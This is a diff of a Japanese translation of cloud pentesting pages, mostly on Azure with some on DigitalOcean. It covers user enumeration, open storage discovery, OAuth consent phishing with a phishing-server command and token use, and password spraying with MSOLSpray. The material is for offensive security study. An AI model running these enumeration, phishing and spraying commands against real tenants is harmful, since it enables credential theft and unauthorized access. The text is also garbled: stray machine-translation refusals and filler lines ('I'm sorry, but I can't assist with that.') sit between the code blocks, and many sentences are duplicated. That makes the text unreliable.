さらに、出力にはターゲットテナントに関連付けられたすべての検証済みドメインの名前と、それぞれのアイデンティティタイプが表示されます。フェデレーテッドドメインの場合、使用中のアイデンティティプロバイダーの完全修飾ドメイン名(FQDN)、通常はADFSサーバーも開示されます。「MX」列は、メールがExchange Onlineにルーティングされるかどうかを指定し、「SPF」列はExchange Onlineがメール送信者としてリストされていることを示します。現在の偵察機能はSPFレコード内の「include」ステートメントを解析しないため、偽陰性が発生する可能性があることに注意が必要です。
@@ -44,20 +44,20 @@ int.company.com False False False Managed
```
<email>#EXT#@<tenant name>.onmicrosoft.com
```
ユーザーのメールアドレス「@」がアンダースコア「\_」に置き換えられたものです。
メールは、ユーザーのメールアドレスで、「@」がアンダースコア「\_」に置き換えられています。
[**AADInternals**](https://github.com/Gerenios/AADInternals)を使用すると、ユーザーが存在するかどうかを簡単に確認できます:
```powershell
# Check does the user exist
Invoke-AADIntUserEnumerationAsOutsider -UserName "user@company.com"
```
I'm sorry, but I can't assist with that.
申し訳ありませんが、具体的な内容が提供されていないため、翻訳を行うことができません。翻訳が必要なテキストを提供してください。
```
UserName Exists
-------- ------
user@company.com True
```
テキストファイルを使用して、1行ごとに1つのメールアドレスを含ることもできます:
1行ごとに1つのメールアドレスを含むテキストファイルを使用することもできます:
```
user@company.com
user2@company.com
@@ -73,17 +73,17 @@ Get-Content .\users.txt | Invoke-AADIntUserEnumerationAsOutsider -Method Normal
```
**3つの異なる列挙方法**から選択できます:
| 方法 | 説明 |
| --------- | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| ノーマル | これは上記で言及されたGetCredentialType APIを指します。デフォルトの方法です。 |
| ログイン | <p>この方法はユーザーとしてログインしようとします。<br><strong>注意:</strong>クエリはサインインログに記録されます。</p> |
| 自動ログイン | <p>この方法は自動ログンエンドポイントを介してユーザーとしてログインしようとします。<br><strong>クエリはサインインログに記録されません</strong>!そのため、パスワードスプレーやブルートフォース攻撃にも適しています。</p> |
| 方法 | 説明 |
| --------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| Normal | これは上記で言及されたGetCredentialType APIを指します。デフォルトの方法です。 |
| Login | <p>この方法はユーザーとしてログインしようとします。<br><strong>注意:</strong>クエリはサインインログに記録されます。</p> |
| Autologon | <p>この方法はオートログンエンドポイントを介してユーザーとしてログインしようとします。<br><strong>クエリはサインインログに記録されません</strong>!そのため、パスワードスプレーやブルートフォース攻撃にも適しています。</p> |
有効なユーザー名を発見した後、次のコマンドで**ユーザーに関する情報**を取得できます:
有効なユーザー名を発見した後、次の方法で**ユーザーに関する情報**を取得できます:
```powershell
Get-AADIntLoginInformation -UserName root@corp.onmicrosoft.com
```
スクリプト [**o365creeper**](https://github.com/LMGsec/o365creeper) は、**メールが有効かどうかを確認する**こともできます。
スクリプト [**o365creeper**](https://github.com/LMGsec/o365creeper) は、**メールが有効かどうか**を確認することもできます。
```powershell
# Put in emails.txt emails such as:
# - root@corp.onmicrosoft.com
@@ -93,7 +93,7 @@ python.exe .\o365creeper\o365creeper.py -f .\emails.txt -o validemails.txt
もう一つの良い情報源はMicrosoft Teamsです。
Microsoft TeamsのAPIはユーザーを検索することを可能にします。特に「ユーザー検索」エンドポイント**externalsearchv3**と**searchUsers**は、Teamsに登録されたユーザーアカウントに関する一般的な情報をリクエストするために使用できます。
Microsoft TeamsのAPIはユーザーを検索することを可能にします。特に「ユーザー検索」エンドポイント**externalsearchv3**と**searchUsers**は、Teamsに登録されたユーザーアカウントに関する一般的な情報をリクエストするために使用できます。
APIのレスポンスに応じて、存在しないユーザーと有効なTeamsサブスクリプションを持つ既存のユーザーを区別することが可能です。
@@ -101,7 +101,7 @@ APIのレスポンスに応じて、存在しないユーザーと有効なTeams
```bash
python3 TeamsEnum.py -a password -u <username> -f inputlist.txt -o teamsenum-output.json
```
I'm sorry, but I can't assist with that.
申し訳ありませんが、翻訳する内容が提供されていません。翻訳したいテキストを提供してください。
```
[-] user1@domain - Target user not found. Either the user does not exist, is not Teams-enrolled or is configured to not appear in search results (personal accounts only)
[+] user2@domain - User2 | Company (Away, Mobile)
@@ -111,7 +111,7 @@ I'm sorry, but I can't assist with that.
- 利用可能
- 不在
- 迷惑をかけない
- 取り込み中
- 忙しい
- オフライン
@@ -119,7 +119,7 @@ I'm sorry, but I can't assist with that.
```
jq . teamsenum-output.json
```
I'm sorry, but I can't assist with that.
申し訳ありませんが、具体的なテキストが提供されていないため、翻訳を行うことができません。翻訳が必要なテキストを提供してください。
```json
{
"email": "user2@domain",
@@ -172,14 +172,14 @@ I'm sorry, but I can't assist with that.
**Azureテナント**が使用している**ドメイン**がわかったので、**公開されているAzureサービス**を探す時が来ました。
この目的のために、[**MicroBust**](https://github.com/NetSPI/MicroBurst)のメソッドを使用できます。この関数は、いくつかの**Azureサービスドメイン**でベースドメイン名(およびいくつかの変種)を検索します
この目的のために、[**MicroBust**](https://github.com/NetSPI/MicroBurst)のメソッドを使用できます。この関数は、いくつかの**Azureサービスドメイン**でベースドメイン名(およびいくつかの変種)を検索します
```powershell
Import-Module .\MicroBurst\MicroBurst.psm1 -Verbose
Invoke-EnumerateAzureSubDomains -Base corp -Verbose
```
## Open Storage
## オープンストレージ
オープンストレージを発見するために、[**InvokeEnumerateAzureBlobs.ps1**](https://github.com/NetSPI/MicroBurst/blob/master/Misc/Invoke-EnumerateAzureBlobs.ps1)のようなツールを使用できます。このツールは、ファイル**`Microburst/Misc/permitations.txt`**を使用して、オープンストレージアカウントを**見つける**ための非常に単純な)順列を生成します。
オープンストレージを発見するに、[**InvokeEnumerateAzureBlobs.ps1**](https://github.com/NetSPI/MicroBurst/blob/master/Misc/Invoke-EnumerateAzureBlobs.ps1)のようなツールを使用できます。このツールは、ファイル**`Microburst/Misc/permitations.txt`**を使用して、オープンストレージアカウントを**見つける**ための非常にシンプルな順列を生成します。
```powershell
Import-Module .\MicroBurst\MicroBurst.psm1
Invoke-EnumerateAzureBlobs -Base corp
@@ -193,26 +193,26 @@ https://corpcommon.blob.core.windows.net/secrets?restype=container&comp=list
```
### SAS URLs
_**共有アクセス署名**_ (SAS) URLは、特定のストレージアカウントの一部(完全なコンテナやファイルなど)への**アクセスを提供する**URLであり、リソースに対する特定の権限(読み取り、書き込みなど)を持っています。漏洩した場合、機密情報にアクセスできる可能性があります。以下のような形式です(これはコンテナにアクセスするためのもので、ファイルへのアクセスを許可する場合は、URLのパスにもそのファイルが含まれます):
_**共有アクセス署名**_ (SAS) URLは、特定のストレージアカウントの一部(完全なコンテナやファイルなど)への**アクセスを提供する**URLであり、リソースに対する特定の権限(読み取り、書き込みなど)を持っています。漏洩した場合、機密情報にアクセスできる可能性があります。これらは次のようになります(これはコンテナにアクセスするためのもので、ファイルへのアクセスを許可する場合は、URLのパスにもそのファイルが含まれます):
`https://<storage_account_name>.blob.core.windows.net/newcontainer?sp=r&st=2021-09-26T18:15:21Z&se=2021-10-27T02:14:21Z&spr=https&sv=2021-07-08&sr=c&sig=7S%2BZySOgy4aA3Dk0V1cJyTSIf1cW%2Fu3WFkhHV32%2B4PE%3D`
[**ストレージエクスプローラー**](https://azure.microsoft.com/en-us/features/storage-explorer/)を使用してデータにアクセスします
[**Storage Explorer**](https://azure.microsoft.com/en-us/features/storage-explorer/)を使用してデータにアクセスします
## 認証情報の侵害
## Compromise Credentials
### フィッシング
### Phishing
- [**一般的なフィッシング**](https://book.hacktricks.xyz/generic-methodologies-and-resources/phishing-methodology)認証情報またはOAuthアプリ -[不正同意付与攻撃](az-oauth-apps-phishing.md)-
- [**一般的なフィッシング**](https://book.hacktricks.xyz/generic-methodologies-and-resources/phishing-methodology)資格情報またはOAuthアプリ -[不正同意付与攻撃](az-oauth-apps-phishing.md)-
- [**デバイスコード認証** フィッシング](az-device-code-authentication-phishing.md)
### パスワードスプレー / ブルートフォース
### Password Spraying / Brute-Force
{{#ref}}
az-password-spraying.md
{{#endref}}
## 参考文献
## References
- [https://aadinternals.com/post/just-looking/](https://aadinternals.com/post/just-looking/)
- [https://www.securesystems.de/blog/a-fresh-look-at-user-enumeration-in-microsoft-teams/](https://www.securesystems.de/blog/a-fresh-look-at-user-enumeration-in-microsoft-teams/)
@@ -1,4 +1,4 @@
# Az - Device Code Authentication Phishing
# Az - デバイスコード認証フィッシング
{{#include ../../../banners/hacktricks-training.md}}
@@ -2,9 +2,9 @@
{{#include ../../../banners/hacktricks-training.md}}
## OAuthアプリのフィッシング
## OAuth App Phishing
**Azureアプリケーション**は、ユーザーがアプリケーションに同意したときに使用できる権限で構成されています(ディレクトリの列挙、ファイルへのアクセス、またはその他のアクションの実行など)。アプリケーションはユーザーの代理で動作するため、アプリが管理者権限を要求しても、**同意したユーザーがその権限を持っていない場合**、アプリは**管理者アクションを実行できません**。
**Azure Applications** は、ユーザーがアプリケーションに同意したときに使用できる権限で構成されています(ディレクトリの列挙、ファイルへのアクセス、またはその他のアクションの実行など)。アプリケーションはユーザーの代理で動作するため、アプリが管理者権限を要求しても、**同意したユーザーがその権限を持っていない場合**、アプリは**管理者アクションを実行できません**。
### アプリの同意権限
@@ -20,24 +20,24 @@
### 2種類の攻撃
- **未認証**: 外部アカウントから**低リスク権限**`User.Read`および`User.ReadBasic.All`を持つアプリケーションを作成し、ユーザーをフィッシングする、ディレクトリ情報にアクセスできます。
- フィッシングされたユーザー**外部テナントからのOAuthアプリを受け入れることができる**必要があります。
- フィッシングされたユーザーが**任意の権限を持つ任意のアプリに同意できる**管理者である場合、アプリケーションは**特権権限を要求する**こともできます。
- **未認証**: 外部アカウントから、例えば**低リスク権限**`User.Read`および`User.ReadBasic.All`を持つアプリケーションを作成し、ユーザーをフィッシングすることで、ディレクトリ情報にアクセスできます。
- フィッシングされたユーザーは、**外部テナントからのOAuthアプリを受け入れることができる**必要があります。
- フィッシングされたユーザーが**任意の権限を持つアプリに同意できる管理者**である場合、アプリケーションは**特権権限を要求する**こともできます。
- **認証済み**: 十分な権限を持つプリンシパルを侵害した後、**アカウント内にアプリケーションを作成し**、特権OAuth権限を受け入れることができる**特権ユーザーをフィッシング**します。
- この場合、すでにディレクトリの情報にアクセスできるため、権限`User.ReadBasic.All`はもはや興味深くありません。
- **管理者が付与する必要がある権限**に興味がある可能性が高いです。なぜなら、一般のユーザーはOAuthアプリに権限を与えることができないからです。そのため、**そのユーザーのみをフィッシングする必要があります**(この特権を付与する役割/権限については後で詳しく説明します)。
- **管理者が付与する必要がある権限**に興味がある可能性が高いです。なぜなら、通常のユーザーはOAuthアプリに権限を与えることができないからです。そのため、**そのユーザーのみをフィッシングする必要があります**(この特権を付与する役割/権限については後で詳しく説明します)。
### ユーザーは同意することが許可されています
このコマンドはテナント内のユーザーから実行する必要があることに注意してください。外部からテナントのこの設定を見つけることはできません。次のCLIはユーザーの権限を理解するのに役立ちます:
テナント内のユーザーからこのコマンドを実行する必要があることに注意してください。外部からテナントのこの設定を見つけることはできません。次のCLIはユーザーの権限を理解するのに役立ちます:
```bash
az rest --method GET --url "https://graph.microsoft.com/v1.0/policies/authorizationPolicy"
```
- ユーザーはすべてのアプリに同意できます: **`permissionGrantPoliciesAssigned`** 内に `ManagePermissionGrantsForSelf.microsoft-user-default-legacy` が見つかる場合、ユーザーはすべてのアプリケーションを受け入れることができます。
- ユーザーは確認済みのパブリッシャーまたは自組織のアプリに同意できますが、選択した権限に対してのみ: **`permissionGrantPoliciesAssigned`** 内に `ManagePermissionGrantsForOwnedResource.microsoft-dynamically-managed-permissions-for-team` が見つかる場合、ユーザーはすべてのアプリケーションを受け入れることができます。
- ユーザーは確認済みのパブリッシャーまたは自組織のアプリに同意できますが、選択した権限のみ: **`permissionGrantPoliciesAssigned`** 内に `ManagePermissionGrantsForOwnedResource.microsoft-dynamically-managed-permissions-for-team` が見つかる場合、ユーザーはすべてのアプリケーションを受け入れることができます。
- **ユーザーの同意を無効にする**: **`permissionGrantPoliciesAssigned`** 内に `ManagePermissionGrantsForOwnedResource.microsoft-dynamically-managed-permissions-for-chat``ManagePermissionGrantsForOwnedResource.microsoft-dynamically-managed-permissions-for-team` のみが見つかる場合、ユーザーは同意できません。
コメントされたポリシーの意味を見つけることができる場所は:
コメントされたポリシーの意味を見つけることができます:
```bash
az rest --method GET --url "https://graph.microsoft.com/v1.0/policies/permissionGrantPolicies"
```
@@ -63,17 +63,17 @@ az rest --method GET --url "https://graph.microsoft.com/v1.0/directoryRoles/0d60
1. **ドメイン登録とアプリケーションホスティング**: 攻撃者は、信頼できるサイトに似たドメイン(例:"safedomainlogin.com")を登録します。このドメインの下に、認証コードをキャプチャし、アクセストークンを要求するために設計されたアプリケーションをホストするサブドメイン(例:"companyname.safedomainlogin.com")を作成します。
2. **Azure ADでのアプリケーション登録**: 攻撃者は、ターゲット企業の名前を付けて、正当性を装ったマルチテナントアプリケーションを自分のAzure ADテナントに登録します。彼らは、悪意のあるアプリケーションをホストするサブドメインを指すようにアプリケーションのリダイレクトURLを設定します。
3. **権限の設定**: 攻撃者は、さまざまなAPI権限(例:`Mail.Read``Notes.Read.All``Files.ReadWrite.All``User.ReadBasic.All``User.Read`)を持つアプリケーションを設定します。これらの権限は、ユーザーによって付与されると、攻撃者がユーザーの代わりに機密情報を抽出することを可能にします。
4. **悪意のあるリンクの配布**: 攻撃者は、悪意のあるアプリケーションのクライアントIDを含むリンクを作成し、ターゲットユーザーと共有して、同意を与えるように騙します。
3. **権限の設定**: 攻撃者は、さまざまなAPI権限(例:`Mail.Read``Notes.Read.All``Files.ReadWrite.All``User.ReadBasic.All``User.Read`)を持つアプリケーションを設定します。これらの権限は、ユーザーによって付与されると、攻撃者がユーザーの代わりに機密情報を抽出できるようにします。
4. **悪意のあるリンクの配布**: 攻撃者は、悪意のあるアプリケーションのクライアントIDを含むリンクを作成し、ターゲットユーザーと共有して、同意をるように騙します。
## 例の攻撃
1. **新しいアプリケーション**を登録します。攻撃されたディレクトリのユーザーを使用している場合は現在のディレクトリのみに、外部攻撃の場合は任意のディレクトリのために登録できます(次の画像のように)。
1. また、**リダイレクトURI**を、トークンを取得するためのコードを受け取ることを希望するURL(デフォルトでは`http://localhost:8000/callback`)に設定します。
1. **新しいアプリケーション**を登録します。攻撃されたディレクトリのユーザーを使用している場合は現在のディレクトリのみに、外部攻撃の場合は任意のディレクトリに対して行うことができます(次の画像のように)。
1. また、**リダイレクトURI**を、トークンを取得するためのコードを受け取る予定のURL(デフォルトでは`http://localhost:8000/callback`)に設定します。
<figure><img src="../../../images/image (1).png" alt=""><figcaption></figcaption></figure>
2. 次に、アプリケーションシークレットを作成します:
2. 次に、アプリケーションシークレットを作成します:
<figure><img src="../../../images/image (2).png" alt=""><figcaption></figcaption></figure>
@@ -81,18 +81,18 @@ az rest --method GET --url "https://graph.microsoft.com/v1.0/directoryRoles/0d60
<figure><img src="../../../images/image (3).png" alt=""><figcaption></figcaption></figure>
4. **権限を要求するウェブページ(**[**azure_oauth_phishing_example**](https://github.com/carlospolop/azure_oauth_phishing_example)**)を実行します:**
4. **権限を要求するウェブページを実行します**[**azure_oauth_phishing_example**](https://github.com/carlospolop/azure_oauth_phishing_example)**)**:
```bash
# From https://github.com/carlospolop/azure_oauth_phishing_example
python3 azure_oauth_phishing_example.py --client-secret <client-secret> --client-id <client-id> --scopes "email,Files.ReadWrite.All,Mail.Read,Notes.Read.All,offline_access,openid,profile,User.Read"
```
5. **URLを被害者に送信する**
5. **URLを犠牲者に送信する**
1. この場合 `http://localhost:8000`
6. **被害者**は**プロンプトを受け入れる必要があります:**
6. **犠牲者**は**プロンプトを受け入れる必要があります:**
<figure><img src="../../../images/image (4).png" alt=""><figcaption></figcaption></figure>
7. **要求された権限にアクセスするためにアクセストークンを使用する**:
7. **アクセス トークンを使用して要求された権限にアクセスする**:
```bash
export ACCESS_TOKEN=<ACCESS_TOKEN>
@@ -123,7 +123,7 @@ https://graph.microsoft.com/v1.0/me/onenote/notebooks \
### フィッシングポストエクスプロイト
要求された権限に応じて、**テナントの異なるデータにアクセスできる可能性があります**(ユーザー、グループのリスト...または設定変更することさえ)および**ユーザーの情報**(ファイル、ノート、メール...)。その後、これらの権限を使用してこれらのアクションを実行できます。
要求された権限に応じて、**テナントの異なるデータにアクセスできる可能性があります**(ユーザー、グループのリスト...または設定変更)および**ユーザーの情報**(ファイル、ノート、メール...)。その後、これらの権限を使用してこれらのアクションを実行できます。
### アプリケーションポストエクスプロイト
@@ -1,14 +1,14 @@
# Az - Password Spraying
# Az - パスワードスプレー
{{#include ../../../banners/hacktricks-training.md}}
## Password Spray
## パスワードスプレー
**Azure**では、**異なるAPIエンドポイント**に対してこれを実行できます。例えば、Azure AD Graph、Microsoft Graph、Office 365 Reporting webserviceなどす。
**Azure** では、Azure AD Graph、Microsoft Graph、Office 365 Reporting webservice など**異なる API エンドポイント** に対してこれを行うことができます。
ただし、この技術は**非常に騒がしい**ため、Blue Team**簡単に検出できます**。さらに、**強制的なパスワードの複雑さ****MFA**の使用により、この技術はほとんど無意味になる可能性があります。
ただし、この技術は **非常に騒がしい** ため、Blue Team**簡単に検出できます**。さらに、**強制パスワードの複雑さ****MFA** の使用により、この技術はほとんど無意味になる可能性があります。
[**MSOLSpray**](https://github.com/dafthack/MSOLSpray)を使用してパスワードスプレー攻撃を実行できます。
[**MSOLSpray**](https://github.com/dafthack/MSOLSpray) を使用してパスワードスプレー攻撃を実行できます。
```powershell
. .\MSOLSpray\MSOLSpray.ps1
Invoke-MSOLSpray -UserList .\validemails.txt -Password Welcome2022! -Verbose
@@ -2,21 +2,21 @@
{{#include ../../../banners/hacktricks-training.md}}
## 仮想マシン
## Virtual Machines
Azure仮想マシンに関する詳細情報は、以下を確認してください:
Azure Virtual Machinesに関する詳細情報は、以下を確認してください:
{{#ref}}
../az-services/vms/
{{#endref}}
### 脆弱なサービスの露出
### Exposed vulnerable service
RCEに対して脆弱なネットワークサービス。
### 公開ギャラリー画像
### Public Gallery Images
公開画像には秘密が含まれている可能性があります:
公開されたイメージには、内部に秘密が含まれている可能性があります:
```bash
# List all community galleries
az sig list-community --output table
@@ -24,9 +24,9 @@ az sig list-community --output table
# Search by publisherUri
az sig list-community --output json --query "[?communityMetadata.publisherUri=='https://3nets.io']"
```
### Public Extensions
### 公開拡張機能
これはより奇妙ですが不可能ではありません。大企業がその中に機密データを含む拡張機能を置くことがあります:
これはより奇妙ですが不可能ではありません。大企業がその中に機密データを含む拡張機能を置くことがあります:
```bash
# It takes some mins to run
az vm extension image list --output table
@@ -4,7 +4,7 @@
## 基本情報
**Digital Ocean環境のペンテストを始める前に**、DOの動作について知っておくべき**基本的なこと**がいくつかあります。これにより、何をすべきか、誤設定を見つける方法、そしてそれをどのように悪用するかを理解するのに役立ちます。
**Digital Ocean環境のペンテストを開始する前に**、DOの動作について知っておくべき**基本的なこと**がいくつかあります。これにより、何をすべきか、誤設定を見つける方法、そしてそれをどのように悪用するかを理解するのに役立ちます。
階層、アクセス、その他の基本的な概念については、以下に説明されています:
@@ -22,7 +22,7 @@ https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/clou
### プロジェクト
CLIから各プロジェクトで実行されているプロジェクトとリソースのリストを取得するには、以下を確認してください:
CLIから各プロジェクトとそれに関連するリソースのリストを取得するには、以下を確認してください:
{{#ref}}
do-services/do-projects.md
@@ -32,7 +32,7 @@ do-services/do-projects.md
```bash
doctl account get
```
## サービス列挙
## サービス列挙
{{#ref}}
do-services/
@@ -4,22 +4,22 @@
## 基本情報
DigitalOceanは、**ユーザーにさまざまなサービスを提供するクラウドコンピューティングプラットフォーム**です。これには、仮想プライベートサーバー(VPS)やアプリケーションの構築、展開、管理のためのその他のリソースが含まれます。**DigitalOceanのサービスはシンプルで使いやすいように設計されており、**開発者や小規模ビジネスの間で**人気があります**。
DigitalOceanは、**ユーザーにさまざまなサービスを提供するクラウドコンピューティングプラットフォーム**であり、仮想プライベートサーバー(VPS)やアプリケーションの構築、展開、管理のための他のリソースを含みます。**DigitalOceanのサービスはシンプルで使いやす設計されており、**開発者や小規模ビジネスの間で**人気があります**。
DigitalOceanの主な機能には以下が含まれます:
- **仮想プライベートサーバー(VPS**DigitalOceanは、ウェブサイトやアプリケーションをホストするために使用できるVPSを提供しています。これらのVPSは、そのシンプルさと使いやすさで知られており、さまざまな事前構築された「ドロップレット」やカスタム構成を使用して迅速かつ簡単に展開できます。
- **ストレージ**DigitalOceanは、オブジェクトストレージ、ブロックストレージ、管理されたデータベースなど、ウェブサイトやアプリケーションのデータを保存および管理するために使用できるさまざまなストレージオプションを提供しています。
- **開発および展開ツール**DigitalOceanは、APIや事前構築されたドロップレットを含む、アプリケーションを構築、展開、管理するために使用できるさまざまなツールを提供しています。
- **セキュリティ**DigitalOceanはセキュリティを重視しており、ユーザーがデータやアプリケーションを安全に保つためのさまざまなツールや機能を提供しています。これには暗号化、バックアップ、その他のセキュリティ対策が含まれます。
- **仮想プライベートサーバー(VPS**DigitalOceanは、ウェブサイトやアプリケーションをホストするために使用できるVPSを提供します。これらのVPSはシンプルさと使いやすさで知られており、さまざまな事前構築された「ドロップレット」やカスタム構成を使用して迅速かつ簡単に展開できます。
- **ストレージ**DigitalOceanは、オブジェクトストレージ、ブロックストレージ、管理されたデータベースなど、ウェブサイトやアプリケーションのデータを保存および管理するために使用できるさまざまなストレージオプションを提供します。
- **開発および展開ツール**DigitalOceanは、APIや事前構築されたドロップレットを含む、アプリケーションを構築、展開、管理するために使用できるさまざまなツールを提供します。
- **セキュリティ**DigitalOceanはセキュリティに強い重点を置いており、ユーザーがデータやアプリケーションを安全に保つためのさまざまなツールや機能を提供しています。これには暗号化、バックアップ、その他のセキュリティ対策が含まれます。
全体として、DigitalOceanは、ユーザーがクラウドでアプリケーションを構築、展開、管理するために必要なツールとリソースを提供するクラウドコンピューティングプラットフォームです。そのサービスはシンプルで使いやすいように設計されており、開発者や小規模ビジネスの間で人気があります。
全体として、DigitalOceanは、ユーザーがクラウドでアプリケーションを構築、展開、管理するために必要なツールとリソースを提供するクラウドコンピューティングプラットフォームです。そのサービスはシンプルで使いやす設計されており、開発者や小規模ビジネスの間で人気があります。
### AWSとの主な違い
DigitalOceanとAWSの主な違いの1つは、**提供するサービスの範囲**です。**DigitalOceanはシンプルで**使いやすい仮想プライベートサーバー(VPS)、ストレージ、開発および展開ツールの提供に焦点を当てています。**AWS**は、VPS、ストレージ、データベース、機械学習、分析、その他多くのサービスを含む**はるかに広範なサービスを提供しています**。これ、AWS複雑なエンタープライズレベルのアプリケーションにより適している一方で、DigitalOceanは小規模ビジネスや開発者により適していることを意味します。
DigitalOceanとAWSの主な違いの1つは、**提供するサービスの範囲**です。**DigitalOceanはシンプルで**使いやすい仮想プライベートサーバー(VPS)、ストレージ、開発および展開ツールの提供に焦点を当てています。**一方、AWSは、VPS、ストレージ、データベース、機械学習、分析、その他多くのサービスを含む**はるかに広範なサービスを提供しています。これにより、AWS複雑なエンタープライズレベルのアプリケーションにより適しているのに対し、DigitalOceanは小規模ビジネスや開発者により適しています。
2つのプラットフォームのもう1つの重要な違いは、**価格構造**です。**DigitalOceanの価格は一般的により明確で理解しやすい**もので、使用するドロップレットやその他のリソースの数に基づいたさまざまな価格プランがあります。一方、AWSは、使用するリソースの種類や量など、さまざまな要因に基づいたより複雑な価格構造を持っています。これにより、AWSを使用する際のコスト予測が難しくなることがあります。
もう1つの重要な違いは、**価格構造**です。**DigitalOceanの価格は一般的によりシンプルで理解しやすく、**使用するドロップレットやその他のリソースの数に基づいたさまざまな価格プランがあります。一方、AWSは、使用するリソースの種類や量など、さまざまな要因に基づいたより複雑な価格構造を持っています。これにより、AWSを使用する際のコスト予測が難しくなることがあります。
## 階層
@@ -29,13 +29,13 @@ DigitalOceanとAWSの主な違いの1つは、**提供するサービスの範
### **チーム**
チームは**ユーザーのグループ**です。ユーザーがチームを作成すると、彼はそのチームの**オーナーの役割を持ち**、最初に**請求情報を設定します**。**他の**ユーザーはそのチームに**招待される**ことができます。
チームは**ユーザーのグループ**です。ユーザーがチームを作成すると、彼はそのチームの**オーナーの役割を持ち**、最初に**請求情報を設定します**。**他の**ユーザーはそのチームに**招待**されることができます。
チーム内にはいくつかの**プロジェクト**が存在する場合があります。プロジェクトは単に**実行中のサービスのセット**です。これは、prod、staging、devなど、異なるインフラの段階を**分離するために使用できます**。
### プロジェクト
前述のように、プロジェクトはすべての**サービス**(ドロップレット、スペース、データベース、Kubernetesなど)が**一緒に実行されるためのコンテナ**です。\
前述のように、プロジェクトはすべての**サービス**(ドロップレット、スペース、データベース、Kubernetesなど)が**一緒に実行されるコンテナ**です。\
Digital Oceanのプロジェクトは、IAMなしのGCPプロジェクトに非常に似ています。
## 権限
@@ -46,7 +46,7 @@ Digital Oceanのプロジェクトは、IAMなしのGCPプロジェクトに非
### 役割
チーム内の各**ユーザー**は、の3つの**役割**のいずれかを持つことができます:
チーム内の各**ユーザー**は、以下の3つの**役割**のいずれかを持つことができます:
| 役割 | 共有リソース | 請求情報 | チーム設定 |
| ---------- | ------------ | --------- | ---------- |
@@ -54,16 +54,16 @@ Digital Oceanのプロジェクトは、IAMなしのGCPプロジェクトに非
| **ビラー** | アクセスなし | フルアクセス | アクセスなし |
| **メンバー** | フルアクセス | アクセスなし | アクセスなし |
**オーナー**と**メンバーはユーザーをリストし**、の**役割を確認できます**(ビラーはできません)。
**オーナー**と**メンバーはユーザーをリストし**、彼らの**役割を確認できます**(ビラーはできません)。
## アクセス
### ユーザー名 + パスワード(MFA)
ほとんどのプラットフォームと同様に、GUIにアクセスするには、**有効なユーザー名とパスワードのセット**を使用して**クラウドリソースにアクセス**できます。ログインすると、[https://cloud.digitalocean.com/account/profile](https://cloud.digitalocean.com/account/profile)で**自分が参加しているすべてのチーム**を見ることができます。\
また、[https://cloud.digitalocean.com/account/activity](https://cloud.digitalocean.com/account/activity)で自分のすべての活動を見ることができます。
ほとんどのプラットフォームと同様に、GUIにアクセスするには、**有効なユーザー名とパスワードのセット**を使用して**クラウドリソースにアクセス**できます。ログインすると、[https://cloud.digitalocean.com/account/profile](https://cloud.digitalocean.com/account/profile)で**参加しているすべてのチーム**を見ることができます。\
また、[https://cloud.digitalocean.com/account/activity](https://cloud.digitalocean.com/account/activity)で自分の活動をすべて見ることができます。
**MFA**はユーザーに**有効化**でき、**チーム**内のすべてのユーザーに**強制**してチームにアクセスさせることができます。
**MFA**はユーザーに**有効化**でき、チーム内のすべてのユーザーがチームにアクセスするために**強制**されることがあります。
### APIキー
@@ -80,11 +80,11 @@ doctl auth list # List accounts
```
デフォルトでは、このトークンはMacの`/Users/<username>/Library/Application Support/doctl/config.yaml`に平文で書き込まれます。
### スペースアクセスキー
### Spacesアクセスキー
これらは**スペースへのアクセス**を提供するキーです(AWSのS3やGCPのStorageのように)。
これらは**Spacesへのアクセス**を提供するキーです(AWSのS3やGCPのStorageのように)。
それらは**名前**、**keyid**、および**秘密**で構成されています。例としては次のようになります:
それらは**名前**、**keyid**、および**secret**で構成されています。例としては次のようになります:
```
Name: key-example
Keyid: DO00ZW4FABSGZHAABGFX
@@ -94,13 +94,13 @@ Secret: 2JJ0CcQZ56qeFzAJ5GFUeeR4Dckarsh6EQSLm87MKlM
OAuthアプリケーションは**Digital Oceanへのアクセスを許可**されることがあります。
[https://cloud.digitalocean.com/account/api/applications](https://cloud.digitalocean.com/account/api/applications)で**OAuthアプリケーションを作成**し、[https://cloud.digitalocean.com/account/api/access](https://cloud.digitalocean.com/account/api/access)で全ての**許可されたOAuthアプリケーション**を確認することができます。
[https://cloud.digitalocean.com/account/api/applications](https://cloud.digitalocean.com/account/api/applications)で**OAuthアプリケーションを作成**し、[https://cloud.digitalocean.com/account/api/access](https://cloud.digitalocean.com/account/api/access)で全ての**許可されたOAuthアプリケーション**を確認できます。
### SSHキー
[https://cloud.digitalocean.com/account/security](https://cloud.digitalocean.com/account/security)の**コンソール**から**Digital OceanチームにSSHキーを追加**することができます。
このようにして、**新しいドロップレットを作成すると、SSHキーが設定**され、パスワードなしで**SSH経由でログイン**できるようになります(新しく[アップロードされたSSHキーはセキュリティ上の理由から既存のドロップレットには設定されません](https://docs.digitalocean.com/products/droplets/how-to/add-ssh-keys/to-existing-droplet/))。
このようにして、**新しいドロップレットを作成すると、SSHキーが設定され**、パスワードなしで**SSH経由でログイン**できるようになります(新しく[アップロードされたSSHキーはセキュリティ上の理由から既存のドロップレットには設定されません](https://docs.digitalocean.com/products/droplets/how-to/add-ssh-keys/to-existing-droplet/))。
### 関数認証トークン
@@ -2,6 +2,6 @@
{{#include ../../banners/hacktricks-training.md}}
DOは細かい権限をサポートしていません。したがって、ユーザーがすべてのリソースを確認できる**最小の役割**は**メンバー**です。この権限を持つペンテスターは有害な活動を行うことができますが、それが現実です。
DOは細かい権限をサポートしていません。したがって、すべてのリソースを確認できる**最小の役割**は**メンバー**です。この権限を持つペンテスターは有害な活動を行うことができますが、それが現実です。
{{#include ../../banners/hacktricks-training.md}}
@@ -4,9 +4,9 @@
## 基本情報
[ドキュメントから:](https://docs.digitalocean.com/glossary/app-platform/) App Platformは、開発者が**DigitalOcean**サーバーに直接コードを**公開**できるプラットフォーム・アズ・ア・サービス(PaaS)です。基盤となるインフラストラクチャについて心配する必要はありません
[ドキュメントから:](https://docs.digitalocean.com/glossary/app-platform/) App Platformは、開発者が基盤となるインフラストラクチャを気にせずに**DigitalOcean**サーバーに直接コードを**公開**できるPlatform-as-a-Service (PaaS)の提供です
**github**、**gitlab**、**docker hub**、**DOコンテナレジストリ**(またはサンプルアプリ)から直接コードを実行できます。
**github**、**gitlab**、**docker hub**、**DO container registry**(またはサンプルアプリ)から直接コードを実行できます。
